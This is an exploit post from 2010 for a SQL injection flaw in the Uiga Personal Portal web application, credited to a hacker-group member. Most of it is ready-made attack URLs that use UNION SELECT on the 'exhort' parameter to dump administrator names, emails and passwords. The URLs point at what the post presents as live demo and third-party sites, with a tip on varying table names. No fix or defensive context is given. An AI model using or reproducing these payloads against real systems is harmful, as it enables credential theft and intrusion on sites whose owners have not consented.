Uiga Personal Portal SQL Injection

`  
  
# Exploit Title: Uiga Personal Portal index.php (view) SQL Injection  
Vulnerability  
# Date: 27-4-2010  
# Author: 41.w4r10r  
# Software Link :  
http://www.scriptdevelopers.net/download/uigapersonalportal.zip  
# Version: Web Application  
# Tested on: Apcahe/Unix  
# CVE : [if exists]  
# Dork :  
# Code :  
  
  
  
Exploited Link :  
  
http://example.com/uigaportal/index.php?view=ar_det&exhort=-36'  
  
  
  
  
  
Live Demo :  
  
http://www.uiga.com/product/demo/uigaportal/index.php?view=ar_det&exhort=-36+union+select+all+1,2,3,4,5,6,gr  
  
oup_concat(admin_name,0x3a,admin_password),8,9,10,11+from+admin--  
  
http://www.inabanga.com/index.php?view=ar_det&exhort=-36+union+select+all+1,2,3,4,5,6,group_concat(admin_ema  
  
il,0x3a,admin_password),8,9,10,11+from+tbl_admin--  
  
Important: Sometimes the table name is administrators and sometimes its  
admin  
  
  
  
#41.w4r10r ([email protected])  
  
#################################################################################################  
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors]  
#Thanks: SaiSatish,FB1H2S,Godwin_Austin,Micr0,Mannu,Dark_blu,Harin,Jappy,DJ  
Hoodlum Don  
#Shoutz: hg_H@x0r,r45c4l,Yash,Hackuin,unn4m3d  
#Catch us at www.andhrahackers.com or www.teamicw.in  
  
  
  
`